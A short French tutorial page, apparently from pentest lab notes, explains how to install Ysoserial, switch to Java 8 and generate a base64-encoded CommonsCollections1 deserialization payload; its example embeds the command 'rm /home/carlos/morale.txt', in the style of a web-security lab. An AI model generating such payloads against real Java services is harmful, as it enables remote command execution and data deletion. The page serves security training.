# Ysoserial

Pour utiliser Ysoserial, télécharger le sur le repo suivant : 

{% embed url="<https://github.com/frohoff/ysoserial/>" %}

Ensuite basculer sur une version de java inférieur à 12. Prenez la version 8 :&#x20;

{% embed url="<https://www.kalilinux.in/2022/02/how-to-install-java8.html>" %}

Saisir la commande suivante pour basculer de version après l'installation :&#x20;

```bash
sudo update-alternatives --config java  
```

Enfin saisissez la commande suivante pour générer un payload :&#x20;

```bash
java -jar ysoserial-all.jar CommonsCollections1 'command' | base64
java -jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt' | base64 -w0 #Exemple
```